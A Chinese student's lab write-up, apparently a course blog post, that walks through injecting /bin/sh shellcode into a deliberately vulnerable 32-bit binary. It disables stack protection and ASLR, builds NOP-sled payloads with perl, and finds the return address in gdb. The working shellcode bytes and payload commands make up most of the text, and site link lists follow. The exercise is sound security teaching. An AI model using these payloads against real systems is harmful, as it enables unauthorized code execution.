20145320注入Shellcode并执行

准备一段Shellcode

首先先准备一段C语言代码:这段代码其实和我们的shell功能基本一样

为了之后能够看到反汇编的结果,这次采用的静态编译。正常返回shell。

经过一系列的工作我们可以得到这段注入的shellcode代码的反汇编结果(这些代码可以在网上下载,这里感谢一下许心远同学)

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

准备工作

修改些设置。

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
  • 在使用execstack命令时,需要先安装:apt-get install execstack!!!

构造要注入的payload。

Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,nop+shellcode+retaddr。。因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

结构为:nops+shellcode+retaddr(嘻嘻)

  • nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

root@KaliYL:~/exercise1# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

特别提醒:最后一个字符千万不能是\x0a。\x0a相当于回车键,若回车了下面的操作就做不了了。

接下来我们来确定\x4\x3\x2\x1到底该填什么。

打开一个终端注入这段攻击buf:

root@KaliYL:~/exercise1# (cat input_shellcode;cat) | ./pwn2

������1�Ph//shh/bin��PS��1Ұ

再开另外一个终端,用gdb来调试pwn2这个进程。

1.找到pwn2的进程号是:1743

root@KaliYL:~/exercise1# ps -ef | grep pwn2
root 1743 1577 0 16:25 pts/0 00:00:00 ./pwn2
root 1745 1708 0 16:25 pts/1 00:00:00 grep pwn2

2.启动gdb调试这个进程
root@KaliYL:~/exercise1# gdb
(gdb) attach 1743
Attaching to process 1743 3. 通过设置断点,来查看注入buf的内存地址
(gdb) disassemble foo
....
0x080484ad <+28>: leave
0x080484ae <+29>: ret //断在这,这时注入的东西都大堆栈上了
//ret完,就跳到我们覆盖的retaddr那个地方了
End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
//在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。
(gdb) c
Continuing. Breakpoint 1, 0x080484ae in foo ()
(gdb) info r esp
...



注意看这里和老师的不一样!

(gdb) x/16x 0xffffd2fc //从这开始就是我们的Shellcode
0xffffd2fc: 0x90909090 0xc0319090 0x2f2f6850 0x2f686873
0xffffd30c: 0x896e6962 0x895350e3 0xb0d231e1 0x9080cd0b
0xffffd31c: 0x01020304 0xf7fa0000 0xf7faa000 0x00000000
0xffffd32c: 0xf7e135f7 0x00000001 0xffffd3c4 0xffffd3cc
(gdb) c
Continuing. Program received signal SIGSEGV, Segmentation fault.
0x01020304 in ?? () //这个返回地址占位也是对的
(gdb) quit 4.将返回地址改为0xffffd300。
root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

做完上面这些的我感觉很开心!然后接着往下看!

看到这一句:上面部分是坑,你跳了没!!

干得好!....我于是回去在小标题旁边加了一个嘻嘻

结构为:anything+retaddr+nops+shellcode。

按照老师给的顺序盲目的做:

root@KaliYL:~# perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
.........

给大家一个信息,上面这段注入的代码时在我的电脑上是不可行..(累得我头皮发麻!!),在我的堆栈上面返回的地址并不是0xffffd320,而是0xffffd330(为什么?),需要把20d3改成30d3

root@KaliYL:~# vi pwn2
以下操作是在vi内
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/20d3
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改20为30
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq

但是以上实践是在非常简单的一个预设条件下完成的:

(1)关闭堆栈保护(gcc -fno-stack-protector)

(2)关闭堆栈执行保护(execstack -s)

(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)

(4)在x32环境下

(5)在Linux实践环境

20145320《网络对抗》注入Shellcode并执行的更多相关文章

  1. 20145305 《网络对抗》注入Shellcode并执行&Return-to-libc 攻击实验

    注入Shellcode并执行 实践指导书 实践过程及结果截图 准备一段Shellcode 我这次实践和老师用的是同一个 设置环境 构造要注入的payload 我决定将返回地址改为0xffffd3a0 ...

  2. 20145215《网络对抗》shellcode注入&Return-to-libc攻击深入

    20145215<网络对抗>shellcode注入&Return-to-libc攻击深入 Shellcode注入 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻 ...

  3. 20145227鄢曼君《网络对抗》shellcode注入&Return-to-libc攻击深入

    20145227鄢曼君<网络对抗>shellcode注入&Return-to-libc攻击深入 shellcode注入实践 shellcode基础知识 Shellcode实际是一段 ...

  4. 20145317《网络对抗》shellcode注入&Return-to-libc攻击深入

    20145317<网络对抗>shellcode注入&Return-to-libc攻击深入 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻 ...

  5. 20145208 蔡野《网络对抗》shellcode注入&Return-to-libc攻击深入

    20145208 蔡野<网络对抗>shellcode注入&Return-to-libc攻击深入 Shellcode注入 shellcode的获取代码 我使用了许心远同学博客中的代码 ...

  6. 20145326蔡馨熠《网络对抗》shellcode注入&Return-to-libc攻击深入

    20145326蔡馨熠<网络对抗>shellcode注入&Return-to-libc攻击深入 准备一段shellcode 首先我们应该知道,到底什么是shellcode.经过上网 ...

  7. 20145301《网络对抗》shellcode注入&Return-to-libc攻击深入

    20145301<网络对抗>shellcode注入&Return-to-libc攻击深入 Shellcode注入 shellcode是什么? Shellcode是指能完成特殊任务的 ...

  8. 20145303 刘俊谦《网络对抗》shellcode注入&Return-to-libc攻击深入

    20145303 刘俊谦<网络对抗>shellcode注入&Return-to-libc攻击深入 Shellcode注入 shellcode实际是一段代码,但却作为数据发送给受攻击 ...

  9. 20145307陈俊达《网络对抗》shellcode注入&return to libc

    20145307陈俊达<网络对抗>shellcode注入 Shellcode注入 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将 ...

随机推荐

  1. Unity3d vector3.forward和transform.forward的区别!

    原文连接: http://blog.csdn.net/kaluluosi111/article/details/17206655 在unity3d中有2个forward,一个是vector3.forw ...

  2. table可拖拽改变宽度

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...

  3. JavaScript-年月日转换12小时制

    <!DOCTYPE html> <html> <head lang="en"> <meta charset="UTF-8&quo ...

  4. linux如何在不重新登录用户的情况下使用户加入的组生效

    这个问题在很早之前就遇到了,之前的解决方法是登出用户再登录用户.今天在配置virtualbox的过程中又遇到了同样的问题.于是又进行了一番搜索. 找到了如下答案: https://stackoverf ...

  5. C++/Java线程之分

    JAVA线程状态图 1.C++/windows中主线程结束,其他线程必然死亡(即使调用pthread_detach解除父子关系,主线程消亡时也会导致子线程被迫关闭). ----1.1 一个进程中可以有 ...

  6. NFS配置与安装

    安装 1 环境描述:    * 网络环境:                  NFS server: 192.168.102.47                  NFS client: 192.1 ...

  7. [博客迁移]探索Windows Azure 监控和自动伸缩系列3 - 启用Azure监控扩展收集自定义监控数据

    上一篇我们介绍了获取Azure的监控指标和监控数据: http://www.cnblogs.com/teld/p/5113376.html 本篇我们继续:监控虚拟机的自定义性能计数器. 随着我们应用规 ...

  8. [openjudge-搜索]哆啦A梦的时光机

    题目描述 描述 哆啦A梦有一个神奇的道具:时光机.坐着它,大雄和他的伙伴们能穿越时空,回到过去或者去到未来. 有一天,大雄和他的伙伴们想穿越时空进行探险,可是时光机却出了一点故障,只能进行有限的时空穿 ...

  9. 【2017-03-10】T-sql基础语句及条件,高级查询

    一.T-sql基础语句 1.创建数据库:create database 数据库名  (不能中文,不能数字开头,不能符号开头) 2.删除数据库:drop database 数据库名 3.选择数据库:us ...

  10. CS131&Cousera图像处理学习笔记 - L5边缘

    cs131: http://vision.stanford.edu/teaching/cs131_fall1617/ coursera: https://www.coursera.org/learn/ ...